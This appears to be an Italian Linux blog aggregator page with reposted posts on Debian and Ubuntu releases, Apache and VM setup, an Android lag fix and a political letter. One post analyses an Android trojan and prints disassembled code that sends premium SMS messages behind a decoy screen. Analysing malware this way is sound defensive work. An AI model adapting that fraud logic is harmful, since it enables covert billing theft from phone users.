Webbisti.it, W il software libero!

La distribuzione che ha dato i natali ad Ubuntu non includerà altri pacchetti e funzionalità: ora si parlerà solo di risoluzione di bug e miglioramento delle performance generali.

Alla Debconf10 di New York, gli sviluppatori della storica distribuzione GNU/Linux hanno annunciato la fase di “freeze” della release 6.0 di Debian, nome in codice Squeeze. Ciò significa che da qui al giorno del rilascio, previsto per l’inizio del 2011, non verranno più aggiunte nuove funzionalità e nuovi pacchetti ma tutti gli sforzi si concentreranno unicamente sul risolvere i bug e rendere l’intero sistema più snello, pulito e performante.

Con certezza possiamo dunque scrivere che Debian 6.0 utilizzerà il kernel Linux 2.6.32, gli ambienti desktop KDE 4.4.5, Gnome 2.30.0, LXDE 0.5.0, XFCE 4.6.2 e X.org 7.5, OpenOffice.org 3.2.1 e i pacchetti Apache 2.2.16, PHP 5.3.2, MySQL 5.1.48, PostgreSQL 8.4.4 e Samba 3.4.

Completeranno la dotazione i compilatori Python 2.6 e 3.1, Perl 5.10, GHC 6.12 e GCC 4.4. Squeeze avrà anche una versione con kernel FreeBSD grazie al progetto Debian GNU/kFreeBSD. Maggiori informazioni su questa pagina.

Da: http://www.tuxjournal.net/?p=14783

fonte: linux.blogattivo.com » Vai al post originale

La moda del momento, ciò di cui tutti parlano è senz’altro il World Wide Web.

Mettere su un sito WWW non è certo una cosa esoterica e anche con una modesta Linux box possiamo provare questo brivido.

Questo articolo è il primo di una serie che descriverà l’installazione di un server Web su una macchina Linux e la creazione di programmi per interfacciare il vostro sito ad un database.

Linux è conosciuto come un sistema particolarmente efficiente a livello di networking e personalmente ho verificato che basta una configurazione hardware molto modesta per l’installazione di un server Web.

Nell’ultimo periodo mi sono dedicato all’installazione del server Web della Regione Emilia-Romagna e alla scrittura di tutti i programmi necessari per interfacciare questo server a vari databases.

La Linux box in questione era un 486 a 66 MHz con 16 mega di ram. Non è certo una configurazione modesta, ma anche a pieno regime il server non assorbiva che pochi punti percentuali del carico della macchina, che veniva comunque usata anche come server in una rete di macchine (urgh) Windows for Workgroups, tramite Samba, come pop server per la distribuzione della posta e come news server per un newsgroup locale agli uffici della regione, nonché per lo sviluppo degli script, delle pagine html e del net surfing da parte degli occupanti dell’Ufficio Reti, senza parlare del client SNMP usato per permettere il monitoring della rete locale.

Se si tiene conto che non è obbligatorio che un server Web svolga queste attività e che non è neanche necessario che sia stato installato X (il server non ne ha assolutamente bisogno), ci si rende conto che potrebbe bastare anche un 386 per servire qualche centinaio di connessioni al giorno.

Tutte le indicazioni che seguono, riguardo il reperimento del server http sono relative alla distribuzione Slackware di Linux. Se avete altre distribuzioni e non trovate qualcosa che si chiami pressappoco httpd*.tgz, dovrete scaricarvi il server dalla rete. Non dovrete comunque preoccuparvi di compilare il demone, perché comunque si riescono a trovare pacchetti già compilati e pre-configurati per Linux.

Se avete una distribuzione Slackware, completa dei pacchetti “contrib”, cioè di quei pacchetti non curati direttamente dal creatore della distribuzione, avete già risolto i vostri problemi. Personalmente ho i cd della Infomagic, nel mio caso è bastato entrare come root, spostarmi nella directory:

/cdrom/slakinst/contrib

e lanciare setup. Scegliendo l’opzione PKGTOOL dal primo menu e Current dal successivo il sistema propone via via i nomi di tutti i pacchetti che trova all’interno della directory corrente, chiedendoci se vogliamo installarli. Il pacchetto da installare è httpd.tgz e contiene il server http della NCSA.

A questo punto avrete i file di configurazione del server nella directory:

/var/http/conf

il cui contenuto è

-rw-r–r– 1 root root 938 Oct 23 1994 access.conf-dist
-rw-r–r– 1 root root 1902 Oct 23 1994 httpd.conf-dist
-rw-r–r– 1 root root 3263 Dec 13 1993 mime.types
-rw-r–r– 1 root root 3337 Oct 23 1994 srm.conf-dist

Non potete ancora attivare il demone, perché i file che terminano per *-dist vanno rinominati, ma prima esaminiamoli per verificarne la configurazione.

Editiamo il file httpd.conf-dist. Possiamo lasciare inalterate le opzioni ServerType e Port. Notate l’opzione successiva: User nobody. Questa opzione indica l’utente sotto il quale il server dovrà funzionare. È importante notare che l’utente nobody ha il minimo possibile delle permissions per motivi di sicurezza e questo incide sui programmi che scriveremo successivamente per interfacciare il server Web ai nostri DBs: dovremo tenere sempre conto che se lanciamo lo script da command line questo verrà eseguito con le nostre permissions, non con quelle che il server http gli conceder&agrave.

Una opzione che dovremo sicuramente modificare è ServerAdmin: l’indirizzo dell’amministratore del server. Sostituiamo l’indirizzo di default you@your.address con il nostro indirizzo.

Se stiamo installando il server su una macchina non collegata ad Internet possiamo usare un indirizzo del tipo utente@localhost, sostituendo al posto di utente il nome dell’utente gestore del Web Server.

Le opzioni successive riguardano le directory che il server dovrà usare per i suoi file di log. Queste opzioni possono essere lasciate così come sono.

L’ultima opzione, ServerName, è da utilizzare solo se vogliamo che il nome con cui il server dovrà essere noto sia diverso da quello che abbiamo assegnato alla nostra macchina. È importante però che questo nome sia uguale a quello con cui è noto dal DNS (Domain Name Server). Se non avete problemi di alias o se avete in progetto di installare un server su una macchina che non è in rete, al solo scopo di provare i vostri programmi, potete lasciare questa opzione commentata.

A questo punto il vostro server è già in grado di funzionare. Ovviamente se esaminate gli altri file vi renderete conto che manca ancora qualcosa, ad esempio nel file srm.conf-dist trovate riferimenti alla directory /var/httpd/icons, in cui dovreste avere le icone che saranno utilizzate dal vostro server. Per il momento potrete risolvere la cosa creando un link tra la directory in cui avete tutte le icone utilizzate da X e la directory richiesta:

$ ln -s /usr/include/X11/pixmaps /var/httpd/icons

Ora possiamo rinominare i file di configurazione:

$ mv access.conf-dist access.conf
$ mv httpd.conf-dist httpd.conf
$ mv srm.conf-dist srm.conf

Un attimo ancora prima di far partire il demone: dobbiamo scrivere una pagina, almeno una per verificare che il server funzioni. La root del nostro Web server è quella specificata nei files access.conf e srm.conf, cioè /var/httpd/htdocs.

Spostiamoci in questa directory e creiamo un file index.html, ad esempio:

&lthtml>
&lthead>
&lttitle&gtPrima pagina del mio server

Ora abbiamo elementi sufficienti per poter testare il server. Da root facciamo partire il demone:

$ httpd &

Tutto a posto! Ci si può già collegare al server: facendo partire X e aprendo il vostro browser preferito basta specificare il vostro URL. Nel caso stiate usando il server su una macchina che non è in rete specificate:

http://localhost

Se è tutto a posto potrete vedere la pagina che avete appena creato, altrimenti potrete trovare qualche indicazione degli errori avvenuti nel file /var/httpd/logs/error_log. Se invece è tutto a posto troverete i log dei collegamenti nel file /var/httpd/logs/access_log.

A questo punto vi consiglio una sana ed istruttiva lettura: l’installazione del server Web vi ha creato una directory, /usr/doc/httpd e ve l’ha riempita di documentazione in formato postscript, testo e html: ce n’è per tutti i gusti. Leggetela!

Quanto pesa il demone http sul vostro sistema? Provate a dare il comando:

$ ps -xl|grep httpd

sul mio sistema ricevo questa risposta:

0 0 2766 1 1 0 269 312 116766 S ? 0:00 httpd

il server quindi occupa 312 K di ram ed è inattivo nella memoria, in attesa di connessioni, quindi non consuma cicli macchina.
Fantastico!

Ora però viene la parte più impegnativa dell’impresa: usare il server Web per fare qualcosa di più interessante che non sfogliare delle pagine.

Se ti è piaciuto l’articolo , iscriviti al feed cliccando sull’immagine sottostante per tenerti sempre aggiornato sui nuovi contenuti del blog:

fonte: reubuntu.blogspot.com » Vai al post originale

Sui nostri computer desktop o notebook abbiamo la versione 10.04 Lucid Lynx di Ubuntu, deve ancora arrivare la versione 10.10 Maverick Meerkat e già Canonical ci ha rilasciato la Release Schedule delle versioni 11.04.

Chi è pratico di Ubuntu avrà già fatto due calcoli rapidi e avrà già inteso che Ubuntu 11.04 sarà rilasciato in aprile 2011, Ubuntu 11.10 in ottobre 2011 e Ubuntu 12.04 nel mese di aprile 2012.

Finalmente sulla wiki di Ubuntu è spuntata quella ufficiale e definitiva (forse non tutti se ne saranno accorti, ma ne era già comparsa una qualche settimana fa, ritirata e rivista a causa della modifica della data di release di Ubuntu 10.10 Maverick Meerkat).

La release Natty Narwhal di Ubuntu, prima di vedere definitivamente la luce, passerà attraverso cinque releases alpha, e sarà definitivamente rilasciata il 28 aprile 2011.

Ecco a voi la timeline completa:

4 Novembre 2010 – Alpha 1
2 Dicembre 2010 – Alpha 2
6 Gennaio 2011 – Alpha 3
3 Febbraio – Alpha 4
3 Marzo – Alpha 5
31 Marzo – Beta21 Aprile – Release Candidate
28 Aprile – Ubuntu 11.04 Natty Narwhal release

Se ti è piaciuto l’articolo , iscriviti al feed cliccando sull’immagine sottostante per tenerti sempre aggiornato sui nuovi contenuti del blog:

fonte: reubuntu.blogspot.com » Vai al post originale

Dropbox dà dipendenza, inutile negarlo. Da quando la uso mi è venuta pian piano la mania di sincronizzare tutti i file di sistema vitali (bashrc, vimrc), un pò perchè uso molte macchine in diversi momenti o luoghi durante la giornata, un pò perchè mi da la sicurezza di avere almeno 3 copie dei miei file più importanti (tante sono le mie macchine). Ed oggi ho aggiunto un tassello al puzzle: la playlist dei miei brani preferiti in Amarok.

Sarà capitato anche a voi… di voler avere una lista backuppata dei vostri brani preferiti. Bene, solitamente quando un brano mi piace, gli assegno 5 stelle su Amarok (uso amarok 1.4, il 2 non mi convince per niente). In questo post vedremo proprio come creare una scorciatoia da terminale per ordinare ad Amarok di salvare in un file .m3u, in una cartella a nostro piacimento, ad esempio… Dropbox! Il gioco sta tutto in dcop, componente sul quale Amarok 1.4 basa molte delle sue funzioni relative alla gestione della musica (dcop è stato sostituito da d-bus in Amarok 2, per una migliore integrazione con KDE4).

La prima cosa da fare è impostare una “playlist veloce” in Amarok, inserendo come condizione da verificare per l’inclusione nella playlist che la valutazione sia massima (o comunque superiore ad una soglia di vostro gradimento). Diamo un nome alla playlist che si possa ricordare, ad esempio “bellissime”.

Possiamo quindi passare ad Amarok, dopo averlo aperto, i seguenti comandi tramite dcop:

vedi sorgentestampainfo1dcop amarok playlistbrowser loadPlaylist bellissime

Permette di caricare la playlist “bellissime” nel player

vedi sorgentestampainfo1dcop amarok playlist saveM3u bellissime.m3u /home/user

Permette di esportare la playlist appena caricata nella propria home, sostituendo ovviamente “user” con il proprio nome utente.

Possiamo quindi provare a concatenare i comandi, in un’unica stringa da aggiungere ai nostri alias di .bashrc, ad esempio:

vedi sorgentestampainfo1dcop amarok playlistbrowser loadPlaylist bellissime && dcop amarok playlist saveM3u bellissime.m3u /home/user && mv /home/user/bellissime.m3u ~/Dropbox/bellissime.m3u

So che si poteva tranquillamente evitare l’ultimo comando, ma ho preferito aggiungere un passaggio per rendere le cose più semplici. Il nostro alias da aggiungere al file ~/.bashrc, quindi sarebbe:

vedi sorgentestampainfo1alias amarok-backup=’dcop amarok playlistbrowser loadPlaylist bellissime && dcop amarok playlist saveM3u bellissime.m3u /home/user && mv /home/user/bellissime.m3u ~/Dropbox/bellissime.m3u’

Infine, aggiorniamo il nostro bashrc con

vedi sorgentestampainfo1source ~/.bashrc

Dovremo solamente stare attenti a seguire bene la procedura prima di eseguire il comando “amarok-backup” da terminale, altrimenti potremmo incorrere in un crash (non chiedetemi perchè):

• aprire amarok
• cancellare dalla voce “playlist” del menù omonimo le vecchie playlist salvate in home e poi trasferite, altrimenti il nuovo backup non funzionerà
• dare il comando “amarok-backup” da terminale
• chiudere amarok

fonte: Ubuntu Planet.it

Se ti è piaciuto l’articolo , iscriviti al feed cliccando sull’immagine sottostante per tenerti sempre aggiornato sui nuovi contenuti del blog:

fonte: reubuntu.blogspot.com » Vai al post originale

A questo proposito negli ultimi mesi c'è stato un attacco piuttosto importante alla soia (o dovrei dire all'industria della soia?).
Un paio di articoli molto complessi e strutturati hanno fatto parlare di sè molti blog e siti internet, accusando la soia di essere sostanzialmente un alimento malsano e dannoso.
Tralasciando per il momento la struttura comunicativa dei due articoli, che come studioso di comunicazione mi affascina e che in altra sede cercherò di analizzare, vorrei soffermarmi sui contenuti per cercare di verificarne il fondamento. Ovviamente non intendo contrapporrre le ragioni pro-soia. Quello che voglio fare è semplicemente verificare per quanto è nelle mie possibilità i contro.
Prima però, con riferimento ai discorsi appena fatti, voglio solo far presente che in uno di questi articoli si parla di 80 milioni di dollari investiti dal cartello della soia come "grande investimento pubblicitario", suggerendo che usando tali risorse si possano facilmente convertire le coscienze anche dei consumatori più accorti. Ebbene, questa cifra (che suona possente) corrisponde appena al 2,5% dell'investimento pubblicitario annuo della Coca Cola!

fonte: dieta-dimagrante.com » vai al post originale

Inizialmente sviluppato per creare la variante JeOS di Ubuntu Server Edition, ubuntu-vm-builder può essere usato per creare macchine virtuali personalizzate.

L’applicazione ubuntu-vm-builder fornisce un metodo per creare velocemente un ambiente di prova pulito, un metodo per automatizzare il processo di installazione della macchina virtuale e, per gli sviluppatori software, la possibilità di integrare la creazione di una macchina virtuale all’interno del processo di generazione di un’applicazione. Se viene usato un mirror locale, il processo di creazione della macchina virtuale può richiedere meno di due minuti dall’inizio alla fine.

Per creare una macchina virtuale personalizzata, digitare:

sudo ubuntu-vm-builder kvm hardy –addpkg vim

Il comando precedente crea un’immagine KVM aggiungendo il pacchetto vim alla macchina virtuale. L’immagine predefinita della macchina virtuale è KVM, ma sono disponibili anche le opzioni per immagini vmw6, vmserver, vbox e qemuimage.

Aggiungendo l’opzione –adpkg qualsiasi numero di applicazioni può essere incluso nell’immagine, per esempio:

sudo ubuntu-vm-builder kvm hardy –addpkg vim –addpkg screen –mem 256

Notare anche che l’opzione –mem 256 aumenta la memoria della macchina virtuale dal valore predefinito di 128M.

Terminata la creazione dell’immagine viene richiesta la conferma dell’installazione dei pacchetti aggiuntivi. Terminato il processo, viene creata una directory denominata ubuntu-vm-hardy-i386 o ubuntu-vm-hardy-amd64 e al suo interno vi sono l’immagine della macchina virtuale root.qcow2 e uno script shell, usato per avviare la macchina virtuale, denominato in base al tipo di immagine.

Per ulteriori opzioni di personalizzazione, fare riferimento alla pagina man di ubuntu-vm-builder.

Usare ubuntu-vm-builder con libvirt.

La combinazione ubuntu-vm-builder e libvirt fornisce un ottimo ambiente per la creazione e la gestione di macchine virtuali.

Usare l’opzione –libvirt per aggiungere automaticamente la nuova macchina virtuale a un dominio libvirt, per esempio:

sudo ubuntu-vm-builder kvm hardy –addpkg vim –mem 256 –libvirt qemu:///system

Terminato il processo, usare virsh per avviare la macchina virtuale:

virsh -c qemu:///system start ubuntu
Il nome predefinito della macchina virtuale è ubuntu, per cambiarlo usare l’opzione –hostname.

Se ti è piaciuto l’articolo , iscriviti al feed cliccando sull’immagine sottostante per tenerti sempre aggiornato sui nuovi contenuti del blog:

fonte: reubuntu.blogspot.com » Vai al post originale

E’ stato reso disponibile, oltre il codename / mascotte della nuova 11.04 Natty Narwhal anche le date dei rilasci.
Mark Shuttleworth, come si legge da un post sul suo blog, si è sbilanciato e finalmente ha rivelato il nuovo codename di Ubuntu 11.04..che da questo momento in poi identificheremo come  Natty Narwhal.

Narwal sta per narvàlo, un cetaceo che vive allegramente nel Mare Artico, e che ha una particolare caratteristica: una sorta di zanna che rassomiglia al corno di un unicorno. Ed è proprio questo il motivo per cui Shuttleworth l’ha scelto come mascotte.

Ricordo che le date possono variare in fase di sviluppo quindi non sono conferme certe. Le novità sui rilasci della nuova versione sono 5 versioni alpha (la versione 10.10 ne aveva solo 3) e la versione finale è attesa per il 28 Aprile 2011 (data che potrebbe anche cambiare visto come per la 10.10 che era prevista per fine ottobre mentre poi è stata anticipata al 10 ottobre)

Ecco una panoramica del rilascio di Ubuntu 11.04 Orario Natty Narwhal:

    * 4 Novembre Alpha1
    * 2 Dicembre Alpha2
    * 6 Gennaio Alpha3
    * 3 Febbraio Alpha4
    * 3 Marzo Alpha5
    * 31 Marzo Beta
    * 28 Aprile Ubuntu 11.04

Per maggiori informazioni vi consiglio di consultare il Wiki della nuova 11.04 a questa pagina.

Se ti è piaciuto l’articolo , iscriviti al feed cliccando sull’immagine sottostante per tenerti sempre aggiornato sui nuovi contenuti del blog:

fonte: reubuntu.blogspot.com » Vai al post originale

Da giorni si parla per la rete del primo trojan horse che ha infettato un sacco di telefoni android.

D’altronde è “normale” un evento del genere, android sta avendo una crescita esponenziale quindi è plausibile che questo faccia gola ad alcuni programmatori poco ortodossi, soprattutto perchè in ballo ci sono i soldi degli utenti finali.

Ma oggi non voglio parlarvi della notizia in se, quella già la sapete sicuramente, quello che voglio mostrarvi è il codice sorgente del software contenente il trojan, è incredibile constatare come il codice è poco più del classico programma d’esempio hello world distribuito con l’android SDK.

Jon Oberheide si è procurato appunto una copia di questa applicazione ed ha effettuato disassembling per capire il meccanismo del virus.

Package: RU.apk
Package Name: org.me.androidapplication1
Permissions Requested: android.permission.SEND_SMS
Contents:
./classes.dex
./res
./res/drawable
./res/drawable/icon.png
./res/layout
./res/layout/main.xml
./resources.arsc
./AndroidManifest.xml
./META-INF
./META-INF/MANIFEST.MF
./META-INF/CERT.RSA
./META-INF/CERT.SF

Jon dice che persino il file main.xml, che descrive il layout del pacchetto, contiene solo una TextView con scritto “Hello Android from NetBeans”. Dando un occhiata alle classi disassemblate si vede che:

[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V
…
000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z
000f: move-result v2
0010: if-eqz v2, 0040 // +0030

Appena l’applicazione parte, viene subito chiamata la funzione DataHelper.canwe(), questa funzione serve al trojan horse per capire se in passato ha già effettuato l’invio di sms fraudolenti o meno, il trojan registra i suoi dati in un db sqlite chiamato “movieplayer.db” con una singola tabella “table1″ ed una sola colonna “was”. Se la funzione canwe() determina in base ai dati sul db, che il trojan ha già operato in passato, viene annullata l’operazione e si salta subito alla riga 0040 che invoca la funzione finish().

0012: new-instance v9, Landroid/widget/TextView; // class@000e
0014: invoke-direct {v9, v12}, Landroid/widget/TextView;.
0017: const-string v8, “?????????, ????????????? ?????? ? ?????????..”
0019: invoke-virtual {v9, v8}, Landroid/widget/TextView;.setText
001c: invoke-virtual {v12, v9}, Lorg/me/androidapplication1/MoviePlayer;.setContentView

Se invece il trojan “capisce” di non aver agito di recente, l’applicazione restituisce all’utente un pop-up con un messaggio in russo, che tradotto molto semplicemente significa “Richiesto l’accesso alla libreria video, attendere..“

001f: invoke-static {}, Landroid/telephony/SmsManager;.getDefault:()
0022: move-result-object v0
0023: const-string v1, “3353″ // string@0001
0025: const-string v3, “798657″ // string@0003
0027: const/4 v2, #int 0 // #0
0028: const/4 v4, #int 0 // #0
0029: const/4 v5, #int 0 // #0
002a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

Mentre l’ignaro utente aspetta, invitato appunto dalla text-box, credendo che il movieplayer sta costruendo una libreria di video contenuti nel telefono, il trojan inizia a mandare SMS verso una numerazione premium di nazionalità russa, queste numerazioni premium alla fine vengono a costare molto più di un normale SMS all’utente finale. Nella parte di codice qui sopra vediamo la numerazione alla stringa v1 mentre il contenuto dell’sms è rappresentato dalla stringa v3. Quindi in base al codice qui sopra il trojan invia un sms contenente “798657″ alla numerazione “3353″.

002d: const-string v1, “3354″ // string@0002
002f: const/4 v2, #int 0 // #0
0030: const/4 v4, #int 0 // #0
0031: const/4 v5, #int 0 // #0
0032: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

Poi viene mandato un altro sms ma alla numerazione “3354″

0035: const-string v1, “3353″ // string@0001
0037: const/4 v2, #int 0 // #0
0038: const/4 v4, #int 0 // #0
0039: const/4 v5, #int 0 // #0
003a: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

E giusto per sicurezza dopo manda un altro sms alla numerazione “3353″

003d: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.was:()V
0040: invoke-virtual {v12}, Lorg/me/androidapplication1/MoviePlayer;.finish:()V
0043: return-void

Dopo che ha finito di fare la spesa il trojan inserisce un record con valore “was” dentro l’omonima colonna della tabella “table1″ del db. Questo dice al trojan, nelle future esecuzioni, di non effettuare l’invio di altri SMS premium, per evitare di destare troppi sospetti.

Ma noi utenti italiani possiamo stare tranquilli, primo perchè l’applicazione è già scomparsa dal market, secondo perchè la numerazione per l’appunto, è Russa, ed i telefoni italiani non sono capaci di comunicare con quello shortcode per ovvi motivi [le numerazioni sono a carattere nazionale.]

Quindi in sostanza il tanto decantato trojan non è nulla di cosi grave, l’abbiamo visto è il classico hello world leggermente modificato, è totalmente inefficace per noi, ed in più non ha nessun tipo di codice maligno dal punto di vista della sicurezza, non trasforma il nostro telefono in bot comandabile da remoto, non esegue codice arbitrario sul sistema.

Ma è un ottimo avviso per gli utenti ed i vendor, il trojan è stato concepito come una frode, ed in quanto tale su parte degli utenti europei ha funzionato. Quindi come al solito noi utenti stiamo attenti [và che rima], se andando ad installare un mediaplayer vediamo che questo ci chiede di poter usare il GPS, o gli sms, o l’email o qualsiasi altro servizio che non serve ad un mediaplayer, qualche domanda facciamocela.

I vendor invece hanno un ottima occasione per studiare il codice di questi software malevoli ed architettare contromisure sempre più efficaci, e perchè no, anche per google stessa che magari dovrebbe effettuare un pò più di controlli su ciò che viene inserito all’interno dei suoi market.

fonte: www.ilportalinux.it » Vai al post originale

A quanto pare lo staff di xda-developers ha risolto i problemi di “lag” di cui soffrono i recentissimi samsung galaxy S.

La cosa è quantomeno curiosa, il telefono che -al momento- sembra essere il più potente nel campo android (e probabilmente anche in generale) soffre di problemi di latenza nell’uso di tutti i giorni, durante l’esecuzione dell’interfaccia touchwiz, l’interfaccia utente installata da samsung sui suoi dispositivi con android equipaggiato.

Adesso le cose sono cambiate, su xda è stato rilasciato -ancora in fase BETA- il “lag fix” un pacchetto semplicissimo da usare, lo si scarica sul proprio pc, si connette il proprio Galaxy S con la modalità usb-debug attivata, si lancia lo script lagfixme.bat e si aspetta…

Alla fine si ha il proprio telefono che letteralmente vola, come ci dimostra un benchmark effettuato da un utente che lo ha testato

Si avete visto bene, le prestazioni grazie al lag-fix sono quasi il doppio di un nexus one con froyo installato!

Il tweak è relativamente semplice, ed usa il vecchio concetto di “swap” anche se sotto un altra chiave di lettura. Lanciando il fix viene creata una partizione EXT2 sulla memoria interna del telefono, all’interno del filesystem RFS presente di default, con una dimensione dei blocchi di 4kbyte. Cosi facendo si va a creare un buffer tra il sistema operativo android e il “vero” filesystem su cui sono presenti fisicamente i dati, riducendo quindi il numero di I/O necessari per tutte le operazioni, proprio perchè viene sfruttato il buffer del filesystem di tipo EXT2.

L’unico difetto è che per come sono allo stato attuale le cose, lo spazio disponibile per i dati delle applicazioni si dimezza da 2GB a 1 solo. Ma ad essere sinceri 1GB per i dati delle applicazioni sono più che sufficienti, soprattutto quando si parla di far letteralmente schizzare le prestazioni del proprio telefono.

Secondo gli sviluppatori i pregi sono:

1. Non richiede una SD esterna [il fix]
2. Si può togliere e rimettere la SD esterna dal telefono senza che le applicazioni vadano in crash
3. Ovviamente più velocità, come si vede dallo screenshot qui sopra
4. Miglior gestione della batteria, non richiedendo una SDcard esterna perennemente attiva la capacità della batteria viene consumata meno in fretta.

Il fix funziona sia su rom Eclair (2.1, quella stock) che su Froyo (2.2), l’importante è che siano rootate, ed abbiano busybox installato (almeno versione 1.17.1).

Lo script è un batch quindi o ci si modifica lo script, semplice da leggere a detta degli sviluppatori, per farlo girare su linux oppure ci si procura una macchina windows per poterlo lanciare. Analogamente all’operazione di fix c’è anche quella di un-fix, ossia si può far tornare il telefono alle condizioni originali, basta lanciare lo script unlagfixme.bat

Problemi noti

• Se non si ha almeno 1GB di spazio libero dentro la partizione /data il fix non riuscirà ad applicarsi con successo
• Se non si ha una versione di busybox che abbia al suo interno il comando mkfs.ext2 non si potrà creare appunto la partizione, fallendo la procedura.
• Il fix non funzionerà se si ha già installato il mimocan’s fix, istruzioni su come rimuoverlo qui
• Se la procedura fallisce con un “permission denied” significa che non si ha la modalità usb-debug attiva o non sono installati correttamente i driver usb [quest'ultimo problema riguarda windows perchè su linux fino adesso non sono necessari driver per android]

fonte: www.ilportalinux.it » Vai al post originale

Mi rifaccio al tumblr dell’amico Bl@ster.

“Egregio Signor Presidente del Consiglio,

le scrivo su un giornale che lei non legge, eppure qualche parola gliela devo, perché venerdì il suo disinvolto senso dello humor ha toccato persone a me molto care: “le belle ragazze albanesi” 2. Mentre il premier del mio paese d’origine, Sali Berisha, confermava l’impegno del suo esecutivo nella lotta agli scafisti, lei ha puntualizzato che “per chi porta belle ragazze possiamo fare un’eccezione.”

Io quelle “belle ragazze” le ho incontrate, ne ho incontrate a decine, di notte e di giorno, di nascosto dai loro magnaccia, le ho seguite da Garbagnate Milanese fino in Sicilia. Mi hanno raccontato sprazzi delle loro vite violate, strozzate, devastate. A “Stella” i suoi padroni avevano inciso sullo stomaco una parola: puttana. Era una bella ragazza con un difetto: rapita in Albania e trasportata in Italia, si rifiutava di andare sul marciapiede. Dopo un mese di stupri collettivi ad opera di magnaccia albanesi e soci italiani, le toccò piegarsi. Conobbe i marciapiedi del Piemonte, del Lazio, della Liguria, e chissà quanti altri. E’ solo allora – tre anni più tardi – che le incisero la sua professione sulla pancia: così, per gioco o per sfizio.

Ai tempi era una bella ragazza, sì. Oggi è solo un rifiuto della società, non si innamorerà mai più, non diventerà mai madre e nonna. Quel puttana sulla pancia le ha cancellato ogni barlume di speranza e di fiducia nell’uomo, il massacro dei clienti e dei protettori le ha distrutto l’utero.

Sulle “belle ragazze” scrissi un romanzo, pubblicato in Italia con il titolo Sole bruciato. Anni più tardi girai un documentario per la tivù svizzera: andai in cerca di un’altra bella ragazza, si chiamava Brunilda, suo padre mi aveva pregato in lacrime di indagare su di lei. Era un padre come tanti altri padri albanesi ai quali erano scomparse le figlie, rapite, mutilate, appese a testa in giù in macellerie dismesse se osavano ribellarsi. Era un padre come lei, Presidente, solo meno fortunato. E ancora oggi il padre di Brunilda non accetta che sua figlia sia morta per sempre, affogata in mare o giustiziata in qualche angolo di periferia. Lui continua a sperare, sogna il miracolo. E’ una storia lunga, Presidente… Ma se sapessi di poter contare sulla sua attenzione, le invierei una copia del mio libro, o le spedirei il documentario, o farei volentieri due chiacchiere con lei. Ma l’avviso, signor Presidente: alle battute rispondo, non le ingoio.

In nome di ogni Stella, Bianca, Brunilda e delle loro famiglie queste poche righe gliele dovevo. In questi vent’anni di difficile transizione l’Albania s’è inflitta molte sofferenze e molte ferite con le sue stesse mani, ma nel popolo albanese cresce anche la voglia di poter finalmente camminare a spalle dritte e testa alta. L’Albania non ha più pazienza né comprensione per le umiliazioni gratuite. Credo che se lei la smettesse di considerare i drammi umani come materiale per battutacce da bar a tarda ora, non avrebbe che da guadagnarci.”

Il tutto si rifà all’ennesima performance del premier (si, lo scrivo con la minuscola, non si merita questo titolo secondo me.) durante l’incontro con Berisha, il primo ministro Albanese.

Questa è la “persona” che ci governa, questa è la “persona” che ci rappresenta pubblicamente a livello mondiale. Spero che almeno siate contenti voi che l’avete votato alle scorse elezioni.

Noi coglioni comunisti preferiamo rimanere coglioni ai vostri occhi piuttosto che dare credito a persone del genere.

fonte: www.ilportalinux.it » Vai al post originale

Dopo tanto tempo ecco a voi un “tutorial per sysadmin“, oggi vediamo come bloccare dei potenziali attacchi di tipo indiretto.

Cosa significa attacco indiretto? Significa che non c’è un attacco che parte da un punto preciso e finisce sul nostro server, in un attacco spam via referral link chi ti attacca fisicamente, ed inconsapevolmente, sono gli stessi utenti che visitano il tuo sito.

Vi porto l’esempio di un attacco che ho dovuto gestire fino a ieri sera. 3 giorni fa poco dopo l’ora di pranzo mi chiamano segnalando che il sito istituzionale di $cliente non si vede più.

Questo è un sito grosso, piazzato su un cluster altrettanto grosso, solo le macchine del front end sono 4 e non sono macchine comprate da mediaworld, sono dei mini carro armati.

Quindi quando mi si dice “il sito è giù” rimango alquanto basito, collegandomi sui bilanciatori vedo che in maniera abbastanza randomica l’apache che fa da reverse proxy non riesce più a contattare la porta 80 di alcune macchine del front end, ed in effetti con un semplice telnet finisco con un timeout.

Per tagliarla corta, dopo ore ed ore di analisi abbiamo visto che molti errori venivano generati da chiamate GET che avevano come referral link un motore di ricerca di inserzioni online.

Consultandomi con gli sviluppatori vengo a sapere che l’url verso cui sono dirette le GET è una landing page di una campagna di affiliazione via banner, lanciata da $cliente, ne consegue quindi che questo motore di ricerca deve essersi iscritto a questa campagna; peccato che visitandolo del banner in questione non ve n’è traccia.

Il sospetto è quindi che i furbacchioni abbiano prelevato il codice del banner e l’abbiano nascosto in qualche maniera nel codice delle pagine, in modo che ad ogni pagina visitata sul motore parta un click “fasullo” sul banner. Basta avere un motore di ricerca che fa tante visite ed ecco che automaticamente la truffa si tramuta in attacco.

Il sito istituzionale di $cliente è gestito da application server java [sigh] i quali dovendo gestire un throughput di GET mastodontico entro breve tempo saturavano la memoria messa a disposizione dalla JVM (Java Virtual Machine) facendo si che le GET si accodassero, mandando successivamente in blocco la porta 80, e quindi rendendo il sito inaccessibile.

Qui non si può filtrare semplicemente via firewall, perchè come detto prima l’attacco è indiretto, non parte dai server del motore di ricerca ma sono gli utenti che vengono dirottati sul sito che attaccano il sito stesso.

L’unica soluzione è quindi adottare il mod_security di apache2 e filtrare le GET in entrata basandosi sul referral link, in modo che le chiamate “dirottate” dal motore di ricerca non vengano processate dal web service java e vengano direttamente rimbalzate con errore di tipo 500.

Una volta su debian bastava installare libapache2_mod-security via apt-get, ma su lenny sembra che questi pacchetti non siano più presenti, e quindi bisogna prelevarli tramite il sito ufficiale di mod security [mirror per i pacchetti debian] ed installarli via “dpkg -i“

Installati i pacchetti è sufficiente creare un file chiamato mod_security dentro /etc/apache2/conf.d e scriverci dentro:

